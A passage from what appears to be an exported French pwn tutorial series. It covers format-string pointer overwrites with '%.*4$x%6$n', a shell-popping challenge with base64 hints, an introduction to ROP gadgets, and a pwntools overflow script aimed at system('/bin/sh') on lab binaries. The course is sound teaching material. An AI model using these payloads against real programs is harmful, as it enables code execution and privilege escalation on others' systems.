dans gdb :$ ./exe%p-%p-%p-%p-%p-%p-%p0x100-0xf3e025c0-0x58cc5257-0x58cc51dd-0x58cc520e-0x58de61a0-0x252d7025Echec ...Vous pouvez également ajouter des appels à printfafin de voir à quel index est situé chaque variable / pointeur. Nous constatons la présence des valeurs suivantes : index n°4 ➡️ adresse de la fonction bravo ; index n°5 ➡️ adresse de la fonction echec ; index n°6 ➡️ mémoire dynamiquement allouée qui contient l’adresse de la fonction à appeler.Nous avons besoin d’écrire (ou copier) la valeur située à l’index n°4 à l’adresse pointée par l’index n°6 :Le programme étant PIE et n’ayant droit qu’à une tentative, nous ne pouvons pas utiliser de fuite mémoire dans un premier temps avant de tenter de modifier le contenu du pointeur de fonction.C’est à ce moment qu’entre en jeu une astuce peu connue du grand public : l’usage de l’astérisque dans une chaîne de format.L’utilisation de l’astérisque *Pour comprendre comment fonctionne l’utilisation de l’astérisque, examinons un exemple concret basé sur le précédent programme :$ echo '%.*1$x' | ./exe0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100Echec ...Une chose est sûre, la chaîne de format fait mal aux yeux. Et encore, vous n’avez rien vu 🤭.Nous connaissons le fonctionnement de %1$x, cela affiche la première valeur en hexadécimal. En ajoutant .*, cela permet toujours d’afficher la première valeur en hexadécimal tout en utilisant une largeur de champ égale au premier index, c’est-à-dire 0x100. C’est pourquoi nous voyons plein de caractères 0utilisés. C’est comme si l’on avait utilisé %1$.256p.En réalité, ce qui nous intéresse avec cette astuce n’est pas la valeur affichée in fine mais plutôt le nombre de caractères qui seront affichés au final. En l’occurrence 256.De même qu’en utilisant %.*1$x nous pouvons afficher 0x100 caractères, en utilisant %.*4$x nous pouvons écrire … Je ne sais pas exactement combien de caractères, mais un nombre égal à la valeur de l’adresse de la fonction bravo.Passons à l’actionEn combinant cela avec %6$n nous pouvons, très simplement, écrire l’adresse de la fonction bravo(index n°4) dans le pointeur de fonction func_ptr(index n°6) :$ echo -e '%.*4$x%6$n' | ./exe &gt; /dev/null$ echo \"Resultat : $?\"Resultat : 213 La sortie standard est redirigée vers /dev/null afin d’éviter d’afficher des gigas octets de caractères.Pour savoir quelle fonction a été appelée, nous pouvons nous référer au code de retour du programme. Ici, il vaut 213, c’est donc bien la fonction bravoqui a été appelée !Détails de la chaîne de formatPeut-être que des explications supplémentaires ne feraient pas de mal à certains 😉.Décortiquons la chaîne de format %.*4$x%6$n : %.*4$x : affiche autant de caractères que la valeur à l’index n°4. Par exemple : 0x58cc51dd == 1489785309. Nous pourrions, de manière équivalente, remplacer %.*4$x par %.1489785309x. Evidemment, comme nous ne connaissons pas à l’avance l’adresse de la fonction bravo, l’avantage d’utiliser %.*4$x est de ne pas avoir à prendre en compte l’ASLR ; %6$n : écrit le nombre de caractère affichés (en l’occurrence, l’adresse de la fonction bravo) à l’adresse pointée par le 6ème index qui n’est autre que le pointeur de fonction func_ptr.Aller plus loin : choisir l’index de la largeur de champ à utiliserEt si on poussait le bouchon encore un peu plus loin ?%.*4$x permet d’afficher autant de caractères que la valeur présente à l’index n°4. Mais saviez-vous qu’il est même possible de choisir l’index de la largeur de champ (le sorte de padding quoi) à utiliser ?Par exemple, avec %4$*1$x le programme va : afficher la valeur située à l’index n°4 en hexadécimal, c’est donc le paramètre positionnel; utiliser une largeur de champ égale à la valeur stockée à l’index n°1. Euh … tu as inversés les index non 🧐 ?Ce qui est pénible avec cette écriture est que l’on ne sait plus qui est quoi. Une astuce très simple pour se rappeler de ce à quoi correspond chaque index est : l’index le plus à gauche est le paramètre positionnel ; l’index (ou la valeur) le plus à droite est lié à la largeur de champ.Pour mieux comprendre, voici l’équivalent de %.*4$x en utilisant une largeur de champ “classique” :Bon, n’entrons pas plus dans les détails, je sais que ça fait beaucoup chauffer les neurones ces choses 🤯. Au moins, vous savez désormais que ça existe et comment ça marche.Résumé de l’usage de l’astérisquePour résumer, cette astuce est très utile : pour copier une valeur d’un index vers une adresse pointée depuis la pile ; afficher un grand nombre de caractères en utilisant un nombre limité de caractères dans la chaîne de format. Si vous vous demandez d’où vient l’usage de l’astérisque dans les chaînes de format en C, voici quelques éléments de réponse ci-dessous. Certains programmes l’utilisent de la sorte : printf(\"Affichage : %.*s\\n\", N, buffer);. Cela permet d’afficher au maximum N octets contenus dans buffer. Cela est très utile pour limiter le nombre d’octets affichés notamment lorsque le buffer utilisé ne contient pas une chaîne de caractères terminée par un octet nul.2️⃣ Bonus n°2 : Le module fmtstr de pwntoolsSi vous êtes du genre à vouloir automatiser les choses, lorsque c’est possible, n’hésitez pas à jeter un œil au module fmtstr de pwntools qui facilite l’exploitation de chaîne de format vulnérables.3️⃣ Bonus n°3 : Sauvegarde de la pileLorsque l’on utilise un paramètre positionnel (ex : %213$x), le programme va copier la pile et utiliser cette copie pour toutes les opérations ultérieures (ex : afficher une valeur dans un format donné, écrire une valeur en mémoire avec %n).Analysons ce que cela signifie à travers le programme suivant:#include \"stdio.h\"// gcc -g -m32 main.c -o exe -Wno-int-conversionint main(){ char buffer[0x100]= {0}; volatile int stack_var = 0xdeadbeef; volatile unsigned int stack_addr = &amp;stack_var; printf(\"stack_var (avant) : %p\\n\",stack_var); printf(\"stack_addr : %p\\n\",stack_addr); // Lecture et affichage de la FMT fgets(buffer,sizeof(buffer), stdin); printf(buffer); printf(\"stack_var (apres) : %p\\n\",stack_var); return 0;}Accès au conteneur Docker : ⬇️ Téléchargement : pwn-fmt-exo-bonus-2.zip 🔎 SHA256 &amp; Analyse Virus Total : fc8e84f64c27f5a778fb492eddb4cead317283fd6598c71eb037077624da569d ⚙️ Construction et lancement du conteneur :docker build -t pwn-fmt-exo-bonus-2 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fmt-exo-bonus-2Tentons de modifier la valeur de stack_varde deux manières : en utilisant un paramètre positionnel ; sans utiliser de paramètre positionnel.Grâce aux appels à printf, en utilisant l’entrée %p-%p-%p-%p-%p-%p-%p-%p-%p-%p nous savons que : l’index n°5 contient la valeur de stack_var; l’index n°6 contient son adresse, à savoir stack_addr.Ce qui nous intéresse n’est pas tant la modification stack_varmais plutôt l’affichage de sa valeur depuis la chaîne de format après sa modification :# En utilisant un parametre positionnel$ ./exestack_var (avant) : 0xdeadbeefstack_addr : 0xfff803b4aaaaaa %6$n [%5$p]aaaaaa [0xdeadbeef]stack_var (apres) : 0x7stack_vara bien été modifiée. Néanmoins, lorsque l’on affiche sa valeur depuis la chaîne de format avec %5$p, c’est toujours 0xdeadbeefqui est affiché alors la valeur venait juste d’être modifiée par %6$n. C’est parce que la pile a été copiée j’imagine ?C’est ça ! Voici, en revanche, ce qui se passe sans utiliser de paramètre positionnel (pour modifier la valeur):# Sans utiliser de parametre positionnel./exestack_var (avant) : 0xdeadbeefstack_addr : 0xff9011d4%p-%p-%p-%p-%p-%n-[%5$p]0x100-0xf654a5c0-0x649b41c8-0x6-0xdeadbeef--[0x2b]stack_var (apres) : 0x2bCette fois-ci, en utilisant %5$ppour afficher le contenu de stack_var, c’est bien la valeur modifiée qui est affichée ! Tout simplement parce que l’on n’a pas utilisé de paramètre positionnel jusque-là. Ainsi, la pile n’a pas encore été copiée. Elle ne sera copiée qu’au moment de traiter %5$pcar un paramètre positionnel y est utilisé.Dans le premier exemple, la pile a été copiée au moment de traiter %6$n, la valeur de stack_varétait, à ce stade, toujours égale à 0xdeadbeef. Tandis que dans le dernier exemple, lors de la copie de la pile, la valeur de stack_varavait déjà été modifiée précédemment sans avoir besoin d’utiliser de paramètre positionnel.Bref, tout ça pour dire que dès que la libc tombe sur un paramètre positionnel dans la chaîne de format, elle copie aussitôt le contenu de la pile.C’est une information importante car vous risquez de vous arracher les cheveux dans les cas où vous devez modifier une valeur sur la pile puis la réutiliser plus tard dans la même chaîne de format." }, { "title": "Partie 19 - 🏆 Challenge - exploitation complète des format strings (5/5)", "url": "/posts/introduction_au_pwn_partie_19/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-20 08:00:00 -0200", "snippet": "🏆 Challenge : exploitation complète des format strings (5/5)Comme à l’accoutumée, c’est l’heure du du du du challenge !Le programme à exploiter est très basique. Pas besoin d’y passer des heures à ...", "content": "🏆 Challenge : exploitation complète des format strings (5/5)Comme à l’accoutumée, c’est l’heure du du du du challenge !Le programme à exploiter est très basique. Pas besoin d’y passer des heures à l’analyser. De même que la phase d’exploitation ne devrait pas être trop compliquée.C’est l’occasion de réaliser une chose dont nous n’avons pas parlé dans les précédents chapitres : comment ouvrir un terminal en exploitant une vulnérabilité dans une chaîne de format ?C’est aussi l’occasion d’essayer de comprendre les choses par vous-mêmes. Toujours est-il que si vous ne voyez pas de quelle technique il s’agit ou que vous êtes totalement bloqués, n’hésitez pas à jeter un œil aux indices. ⬇️ Téléchargement : pwn-fmt-challenge.zip 🔎 SHA256 &amp; Analyse Virus Total : 9e7411a01b95dad0738cf802454f5c55cf4357f3756d286bec92308dc1ec7735 🎯 Objectif : réussir à ouvrir un terminal (pas obligatoirement root).💻 Contexte d’exécutionAfin de se placer dans le contexte d’exécution prévu pour ce exercice, il est nécessaire : d’activer l’ASLR ; d’atteindre l’objectif en dehors d’un déboggeur.💫 Lancer le challengeCi-dessous les commandes permettant de lancer le challenge : construction du conteneur : docker build -t pwn-fmt-challenge .; lancement du conteneur et du challenge :docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fmt-challengeLe port accessible est le suivant : 1234 : port qu’il est possible d’utiliser pour déboguer à distance avec gdbserver.💡 IndicesVoici quelques indices qui devraient vous permettre d’avancer lorsque vous êtes bloqués et que vous ne voyez pas comment aller plus loin.💡 Indice n°1LSBRdWVsbGVzIHNvbnQgbGVzIHByb3RlY3Rpb25zIHByw6lzZW50ZXMgPyAuLi4gb3Ugbm9uID8gUXUnaW1wbGlxdWUgbGV1ciBwcsOpc2VuY2Ugb3UgYWJzZW5jZSA/Ci0gUXVlbGxlIGVzdCBsZSBwcmVtaWVyIHByb2Jsw6htZSDDoCByw6lzb3VkcmUgYWZpbiBkJ2F2b2lyIHBsdXMgZGUgbWFyZ2UgZGUgbWFuxZN1dnJlLg==💡 Indice n°2RW4gYXlhbnQgc2V1bGVtZW50IHVuZSB0ZW50YXRpdmUgYXZlYyBsYSBjaGHDrm5lIGRlIGZvcm1hdCBub3VzIG5lIHBvdXJyb25zIHBhcyBhbGxlciB0csOocyBsb2luLiBDb21tZW50IGZhaXJlIHBvdXIgcmVsYW5jZXIgbGEgbGVjdHVyZSBldCB1dGlsaXNhdGlvbiBkZSBub3RyZSBjaGHDrm5lIGRlIGZvcm1hdCA/💡 Indice n°3U2NvIHBhIHR1IG1hbmFhCgpgYGAKICAgIEFyY2g6ICAgICBpMzg2LTMyLWxpdHRsZQogICAgUkVMUk86ICAgIFBhcnRpYWwgUkVMUk8gPC0tLS0gPwogICAgU3RhY2s6ICAgIENhbmFyeSBmb3VuZAogICAgTlg6ICAgICAgIE5YIGVuYWJsZWQKICAgIFBJRTogICAgICBObyBQSUUgKDB4ODA0ODAwMCkKYGBg💡 Indice n°4U2kgdm91cyBuJ2F2ZXogcGFzIHRyb3V2w6kgY29tbWVudCBsJ2V4cGxvaXRlciwgbuKAmWjDqXNpdGV6IHBhcyBhIGpldGVyIHVuIMWTaWwgYXUgY2hhcGl0cmUgZMOpZGnDqSBhdXggcmVsb2NhbGlzYXRpb25zIC8gR09UIC9QTFQgOyk=💡 Indice n°5UXUnZXN0LWNlIHF1aSBub3VzIGVtcMOqY2hlIGRlIHJlbnRyZXIgcGx1c2lldXJzIGZvaXMgZGFucyBsYSBmb25jdGlvbiAibWFpbiIgPw==" }, { "title": "Partie 20 - Introduction à l’exploitation par ROP (1/6)", "url": "/posts/introduction_au_pwn_partie_20/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-19 08:00:00 -0200", "snippet": "Introduction à l’exploitation par ROP (Return-Oriented Programming) (1/6)Enfin nous y sommes ! En gravant petit-à-petit les marches de l’exploitation de binaires, nous sommes enfin arrivés à la tec...", "content": "Introduction à l’exploitation par ROP (Return-Oriented Programming) (1/6)Enfin nous y sommes ! En gravant petit-à-petit les marches de l’exploitation de binaires, nous sommes enfin arrivés à la technique d’exploitation qui est l’une des plus connues et l’une des plus utilisées, à savoir le ROP ou Return-Oriented Programming.Cette technique est très utile lorsque : la pile n’est pas exécutable ; il n’est pas possible de faire un ret2libc.Il est possible de considérer le ROP comme une évolution ou une généralisation du ret2libc, offrant davantage de flexibilité lors de l’exploitation.IntroductionContrairement à ce que son nom indique, le ROP n’est pas lié à de la programmation pure ou du développement dans le sens où nous n’allons pas écrire des lignes de code. Il s’agit plutôt d’une technique qui consiste à réutiliser des bouts de code, plus précisément des instructions issues du programme exploité ou des bibliothèques qu’il utilise, afin de contrôler l’exécution du programme et atteindre un objectif en particulier comme exécuter un appel système ou des fonctions intéressantes (ex : system,execve …).Ainsi, au lieu de tenter d’appeler diverses fonctions dans leur entièreté sans trop contrôler ce qui s’y passe, nous faisons en sorte de n’exécuter que les parties intéressantes de celles-ci afin de réussir à exploiter le programme.Pour faire l’analogie, imaginez que les fonctions d’un programme soient des casseroles, en utilisant du ROP cela reviendrait à les utiliser de la sorte pour passer d’un bout de code à un autre :Généralement, un prérequis pour l’utilisation de cette technique est de contrôler eip/rip et, si possible, les premiers éléments de la pile.Fonctionnement du ROP Comment c’est possible de n’exécuter qu’une partie d’une fonction ? Et surtout comment passer d’un bout de code à un autre ?C’est justement là que réside la magie du ROP : passer d’un bout de code à un autre sans que cela ne fasse planter le programme.Appeler une fonction avec les bons argumentsPour comprendre plus facilement comment fonctionne le ROP, examinons le scénario suivant : il s’agit d’un programme SUID 32 bits ; dans le cadre d’un buffer overflow nous contrôlons eip ainsi que les N premiers éléments sur la pile ; nous avons un leak de la libc ; pour réussir l’exploit, il est nécessaire de devenir root.Ainsi, il n’est pas possible de trifouiller le programme afin de lancer system(\"/bin/sh\"). Nous avons besoin de quelque chose d’un peu plus poussé comme execve(\"/bin/sh\", [\"/bin/sh\",\"-p\",NULL], NULL); pour ne pas perdre les droits root.Nous avons une fuite d’adresse de la libc, trouver l’adresse de execve sera donc assez facile. En revanche, faire en sorte d’avoir exactement ces arguments dans cet ordre, c’est un peu plus compliqué.Le ROP nous permettra d’agencer petit à petit la pile en 32 bits (ou les registres en 64 bits) afin d’avoir les bons arguments aux bons endroits. Pour ce faire, nous allons utiliser ce que l’on appelle communément des gadgets.Un gadget est un fragment de code composé de plusieurs instructions, qui permet de : effectuer une action spécifique, par exemple : placer la valeur 0x100 dans le registre rdx, ajouter 0x20 à esp, etc. ; enchaîner vers un autre gadget (ou une autre fonction) une fois son exécution terminée.Généralement un seul gadget n’est pas suffisant pour agencer les arguments comme il le faut. C’est pourquoi on parle souvent de chaîne de ROP lorsqu’un programme est exploité via du ROP : enchaîner plusieurs gadgets jusqu’à pouvoir appeler correctement la fonction voulue.Passer d’un gadget à un autreLes gadgets ont très souvent l’allure suivante :; instr; ... ; instrretLes différentes instructions vont effectuer diverses actions avant d’arriver à l’instruction ret. Pour rappel, ret n’est rien d’autre qu’un pop eip.Pour comprendre comment passer d’un gadget à un autre, imaginons que nous devions exploiter le programme suivant :// (...)void goal(){ if (eax == 0x1337) ouvrir_shell(); return;}int main(){ char buffer[8]; gets(buffer); // (...) return 0;}Voici notre avancée lors de son exploitation : nous avons réussi à exploiter un buffer overflow dans le main (faisons abstraction du canari pour le moment) et nous pouvons contrôler le contenu du buffer sur la pile ; nous avons un leak du programme, de la libc etc. ; l’objectif est d’exécuter la fonction goal qui ouvre un shell seulement si eax vaut 0x1337.Nous avons trouvé quelques gadgets à droite, à gauche et voici ce que nous avons pu en faire : lors du ret de la fonction vulnérable, nous avons pu exploiter le dépassement de mémoire afin de contrôler les 9 premiers éléments de esp ; il n’est pas nécessaire de savoir dans quelles fonctions se trouvent les gadgets que nous avons trouvés. L’essentiel est qu’ils permettent, chacun d’eux, de réaliser diverses actions pour atteindre, in fine, notre objectif. Chacun de ces gadgets va consommer un certain nombre d’éléments sur la pile en fonction des instructions qu’il exécute. Très souvent, les premiers éléments seront directement utilisés au sein du gadget tandis que le dernier sera l’adresse vers le prochain gadget ; en contrôlant arbitrairement les premiers éléments de la pile ainsi que l’ordre d’enchaînement des gadgets, nous avons pu affecter à eax la valeur 0x1337 et exécuter avec succès la fonction goal.La disposition des différents éléments sur la pile s’appelle une chaîne de ROP. Vous entendrez souvent parler de construction de chaîne de ROP. Il s’agit de trouver le bon agencement d’adresses de gadgets à insérer dans la pile afin d’exploiter le programme. On aurait pu faire bien plus simple en mettant 0x1337 sur la pile et en appelant un gadget 🟡 pop edx ... ?Oui tout à fait. Cet enchaînement est utilisé à titre d’exemple pour comprendre comment passer d’un gadget à un autre, mais oui, nous aurions pu faire cela.La dernière étape du ROP n’est pas toujours l’exécution d’une fonction. Cela peut aussi être l’exécution d’un appel système. Et on est censés faire comment pour trouver des gadgets ? On a l’impression qu’ils étaient comme par magie présents dans le programme.Ne vous inquiétez pas, nous allons en parler 😅.Comment trouver des gadgets dans un programmePlusieurs outils ont vu le jour et permettent de trouver facilement des gadgets dans un programme. Les plus connus sont : ROPgadget ; xgadget ; Ropper.Il en existe sûrement d’autres mais ceux-là font très bien l’affaire. Dans le cadre de ce cours, nous utiliserons ROPgadget. Une fois installé, je vous propose d’utiliser le programme suivant pour apprendre à chercher des gadgets :#include &lt;stdio.h&gt;int main(){ puts(\"C'est l'heeeeeure du du du du du ROP !\"); return 0;}Vous pouvez le compiler avec gcc -m32 -no-pie -fno-pie main.c -o exe.Accès au conteneur Docker : ⬇️ Téléchargement : pwn-rop-exemple-1.zip 🔎 SHA256 &amp; Analyse Virus Total : e24a86ddc1b4c5963a51921ce0a6a7c20af9f6433b630c13f23a63d2093a46f6 ⚙️ Construction et lancement du conteneur :docker build -t pwn-rop-exemple-1 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-rop-exemple-1 Voyons tout d’abord des exemples en 32 bits car il est généralement plus facile d’exploiter un programme avec du ROP en 32 bits qu’en 64 bits. En effet, en 32 bits les arguments d’une fonction sont récupérés directement depuis la pile. Ce sont donc des valeurs que nous pouvons contrôler en utilisant un dépassement de mémoire par exemple. En revanche, en 64 bits, les premiers arguments sont récupérés via les registres. Il est donc nécessaire de trouver des gadgets permettant de charger des valeurs arbitraires dans rdi, rsi etc.Pour afficher les gadgets présents dans le programme, il est possible d’utiliser ROPgadget --binary ./exe. Vous devriez voir une très longue liste de gadgets qui s’affiche :(...)0x0804901e : pop ebx ; ret0x08049191 : popal ; cld ; ret0x08049036 : push 0 ; jmp 0x80490200x080490cb : push 0x804c010 ; call eax0x08049118 : push 0x804c010 ; call edx0x08049046 : push 8 ; jmp 0x80490200x08049162 : push ds ; sti ; jmp 0x80490f00x08049117 : push eax ; push 0x804c010 ; call edx0x0804919f : push edi ; add byte ptr cs:[eax], al ; add esp, 8 ; pop ebx ; ret0x08049077 : push esp ; mov ebx, dword ptr [esp] ; ret0x0804900a : ret(...)Les valeurs en hexadécimal sont les adresses des différents gadgets. Si le programme avait été compilé avec PIE, l’outil afficherait les offsets auquel cas un leak aurait été requis afin de déterminer l’adresse exacte d’un gadget.Vous remarquerez que certains gadgets ne finissent pas par une instruction ret mais par jmp .... Les gadgets de ce type sont utilisés dans une technique dérivée du ROP qui est le JOP ou Jump-Oriented Programming.Cela consiste à utiliser principalement des gadgets qui se terminent par une instruction de saut (jmp 0x..., jnz 0x..., jmp eax etc.). La manière d’exploiter un programme avec du JOP n’est pas la même qu’avec le ROP. Nous aurons l’occasion d’en discuter davantage dans un chapitre dédié.Le JOP permet notamment de ne plus dépendre de la pile ni de gadgets se terminant par une instruction ret. Astuce ROPgadget : pour ne pas afficher les instructions terminées par un saut, il est possible d’utiliser l’option --nojop. ⚠️ Cela supprimera également les gadgets terminés par des appels indirects de fonctions (ex : call eax, call edx …) qui peuvent parfois s’avérer très utiles, au même titre que les instructions jmp eax, jmp edx…Des gadgets en veux-tu, en voilàComme vous pouvez le constater, il n’y a pas tant de gadgets que ça dans le programme : Unique gadgets found: 98. Ce qui est normal étant donné qu’il s’agit d’un petit programme. Dans les programmes plus volumineux, nous pourrons y trouver, logiquement, plus de gadgets.Que dire si le programme est compilé statiquement ! Voici le nombre de gadgets du même programme compilé statiquement avec gcc -m32 -no-pie -fno-pie main.c -o exe -static : Unique gadgets found: 7893. Pas mal non 😎 ? Effectivement il y en a plus mais la majorité des programmes ne sont pas compilés statiquement …C’est vrai. Mais cela n’est pas si embêtant que cela dans le cas suivant : une fuite d’adresse de la libc est disponible ; la version exacte de la libc utilisée est déterminée (nous pouvons donc la télécharger et y avoir accès).Une fois ces conditions remplies, qu’est-ce qui nous empêche de lancer ROPgadget sur la libc ? Au final, même si elle est PIE, nous pourrons déterminer l’adresse exacte de chaque gadget et l’utiliser grâce au leak.L’utilité du ROP Si nous contrôlons les N premiers éléments de la pile, autant faire du ret2libc, c’est plus rapide ?Dans plusieurs cas, la technique du ret2libc ou l’utilisation d’un shellcode montre ses limites : pile non exécutable : plus largement, lorsqu’il n’y a pas de zone mémoire avec les permissions RWX, il n’est pas possible d’utiliser directement un shellcode. Dans un tel cas, nous sommes généralement contraints de réutiliser du code d’ores et déjà présent dans le programme chargé en mémoire ; pas de fuite de la libc : si on ne parvient pas à obtenir un leak pour connaître l’emplacement exact d’une fonction dans la libc, impossible de faire un ret2libc. Avec du ROP, on a un peu plus de liberté : par exemple, on peut appeler une fonction présente dans la GOT pour tenter d’obtenir une fuite d’adresse de la libc. Bien sûr, ça ne marche que si le programme n’est pas compilé en PIE, ou si on a déjà réussi à faire fuiter une adresse du programme lui-même ; programme 64 bits : sur les systèmes 64 bits, les arguments des fonctions sont passés dans les registres. De ce fait, avec un simple ret2libc, on ne peut pas charger ces registres juste en les plaçant sur la pile sans utiliser de gadget.La liste n’est pas exhaustive, mais ce sont les limites que l’on rencontre le plus souvent.Au fait, d’où viennent ces instructions ? Y a un truc que je ne comprends pas. Comment se fait-il que ROPgadget retourne des instructions qui ne sont même pas visibles si j’affiche le code désassemblé du programme ?C’est une excellente question et y répondre permet de comprendre comment le ROP permet d’exécuter des instructions qui, a priori, ne sont pas présentes dans le programme.Pour y répondre, nous allons retourner à la composition d’une instruction : les opcodes. Prenons par exemple les instructions suivantes que l’on pourrait trouver en fin de fonction :0x4006A0 41 5E pop r140x4006A2 41 5F pop r150x4006A4 C3 retnVous êtes d’accord que l’intervalle d’octets [0x4006A0;0x4006A4] est exécutable en mémoire ? Voici ce que donne le désassemblage non pas à partir de l’adresse 0x4006A0 mais plutôt 0x4006A1 :0x4006A1 5E pop rsi0x4006A2 41 5F pop r150x4006A4 C3 retnOn obtient la possibilité de charger le registre rsi 🤩. Et c’est pas fini ! Ci-dessous, le désassemblage réalisé à partir de 0x4006A3 :0x4006A3 5F pop rdi0x4006A4 C3 retnMême rdi y passe, pas mal non 😎 ? Comme l’assembleur x86/x86_64 est de type CISC, il n’y a pas de contrainte stricte d’alignement ni de taille fixe : une instruction peut être codée sur 1, 2, 3 voire jusqu’à 15 octets.Ainsi, en commençant à désassembler à partir d’une adresse plutôt qu’une autre, il est possible d’avoir des instructions différentes alors que les octets présents dans le programme n’ont pas changé.📋 SynthèseVoici une synthèse des principaux points que l’on a vus au cours de ce chapitre : le ROP (Return-Oriented Programming) consiste à réutiliser de petits fragments de code déjà présents (les gadgets) pour composer ce que l’on appelle “une chaîne de ROP” et prendre le contrôle de l’exécution du programme ; Pourquoi on l’utilise ? Quand la pile n’est pas exécutable ou que le ret2libc ne suffit pas, le ROP permet d’appeler des fonctions, d’exécuter des appels système etc. le ROP repose sur le contrôle du pointeur d’instruction via la pile ; un gadget est une courte séquence d’instructions se terminant souvent par un ret (ou jmp/call). En contrôlant la pile, on agence les adresses des gadgets et de certaines valeurs pour réaliser des actions complexes étape par étape ; en 32 bits les arguments sont issus de la pile. En 64 bits, les arguments passent par des registres (rdi, rsi, …) qui ne sont pas chargés automatiquement depuis la pile. En utilisant certains gadgets (pop rdi, mov rdi, rxx …) il est possible de contrôler les valeurs chargées dans les registres utilisés comme paramètres de fonction ; certains outils comme ROPgadget ou Ropper permettent d’afficher les gadgets présents dans un programme. Conjugué à une bonne utilisation de grep, il est possible de trouver les gadgets adéquats." }, { "title": "Partie 21 - Exploiter un binaire par ROP - construction de chaînes de gadgets (2/6)", "url": "/posts/introduction_au_pwn_partie_21/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-18 08:00:00 -0200", "snippet": "Exploiter un binaire par ROP : construction de chaînes de gadgets (2/6)Après la théorie, la pratique Lors de la résolution de l’exercice ci-dessous, il se peut que vous ayez des valeurs ou adresse...", "content": "Exploiter un binaire par ROP : construction de chaînes de gadgets (2/6)Après la théorie, la pratique Lors de la résolution de l’exercice ci-dessous, il se peut que vous ayez des valeurs ou adresses différentes. N’hésitez pas à adapter les valeurs dans les scripts ou commandes en fonction de ce que vous obtenez sur votre machine.Contrôler ripPlutôt que de se lancer directement sur des binaires très complexes, et si on commençait par un exercice simple pour apprendre concrètement à faire du ROP ?Voici le programme que nous allons tenter d’exploiter :#define _GNU_SOURCE #include &lt;unistd.h&gt;#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;dlfcn.h&gt;int main(){ void (*leak)(int) = dlsym(RTLD_NEXT, \"puts\"); printf(\"Un petit leak car tu m'as l'air bien sympa : %p\\n\",leak); char buffer[0x10] = {0}; read(0,buffer,0x100); printf(\"Salut %s\",buffer); return 0;}Pour la compilation gcc -no-pie -fno-pie -fno-stack-protector main.c -o exe : PIE est désactivé ; pas de canaris ; compilé en 64 bits.Pour rappel, l’ASLR est évidemment activée.Accès au conteneur Docker : ⬇️ Téléchargement : pwn-rop-exo-1.zip 🔎 SHA256 &amp; Analyse Virus Total : 9a06351355aa0176c74fccbe7eeb450d9209732461724f807fa0d28fb5a5f4d0 ⚙️ Construction et lancement du conteneur :docker build -t pwn-rop-exo-1 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-rop-exo-1Le programme fait fuiter l’adresse de la fonction puts de la libc avant de lire des données dans buffer. Allons directement à la première étape : contrôler rip. En effet, sans contrôle du pointeur d’instruction, nous n’irons pas bien loin …Ce n’est pas le premier dépassement de mémoire que l’on rencontre, autant apprendre de nouvelles choses. Utilisons le module cyclic de pwntools afin de déterminer à partir de quel offset dans notre entrée nous contrôlons effectivement rip. Pour cela, vous pouvez utiliser IPython dans un autre terminal et exécuter les instructions suivantes :from pwn import *g = cyclic_gen(n=8) # n=8 octets --&gt; car RIP est sur 64 bitsprint(g.get(256))# exemple :b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab' Nous utilisons seulement 256 caractères car c’est le maximum que le programme puisse lire.Ensuite, il suffit de lancer le programme dans gdb avec l’entrée précédemment générée et noter la valeur de rip lorsque le programme plantera. Pour le lancer :run &lt; &lt;(echo 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab')Le programme plante comme prévu avec la valeur suivante dans rip :$rcx: 0x0000000000000000$rdx: 0x0000000000000000$rsp: 0x00007fffffffe1b0 -&gt; 0x6161616161616167$rbp: 0x6161616161616165 ('eaaaaaaa'?)$rsi: 0x1090626161616161$rdi: 0x00007fffffffdfa0 -&gt; 0x00007fffffffdfd0 -&gt; 0x1090626161616161$rip: 0x6161616161616166 ('faaaaaaa'?)Il suffit ensuite de basculer vers le terminal IPython et lancer :cyclic_find(b'faaaaaaa',n=8)40Le résultat 40 signifie que la séquence b'faaaaaaa' commence à l’octet 40 du motif cyclique généré (indexation en octets). Cela signifie qu’en envoyant d’abord 40 octets, les 8 prochains octets constitueront le contenu de rip lors du retour de la fonction.Commençons par écrire un petit script que l’on complétera au fur et à mesure que nous avançons dans l’exploitation :from pwn import *io = process(\"./exe\")payload = b\"A\"*40 # Bourragepayload += p64(0xdeadbeefcafebabe)io.send(payload)io.interactive()Vous pouvez vérifier dans gdb, la valeur de rip lorsque le programme plante est bien 0xdeadbeefcafebabe.Construction de la chaîne de ROPA présent que nous contrôlons rip ainsi que les premiers éléments sur la pile, nous pouvons construire notre chaîne de ROP. Avant de lancer ROPgadget, prenons un instant pour définir un objectif clair.Que diriez-vous d’exécuter system(\"/bin/sh\") ? En 32 bits nous aurions pu le faire avec un ret2libc mais en 64 bits nous n’avons pas d’autre choix que de construire une chaîne de ROP. Nous avons principalement deux étapes à réaliser : récupérer l’adresse de system : comme l’ASLR est activée et que la libc est PIE, il va falloir trouver un moyen de faire fuiter une adresse de la libc. Bonne nouvelle : le programme s’en charge déjà pour nous 🤝 ; écrire \"/bin/sh\" en 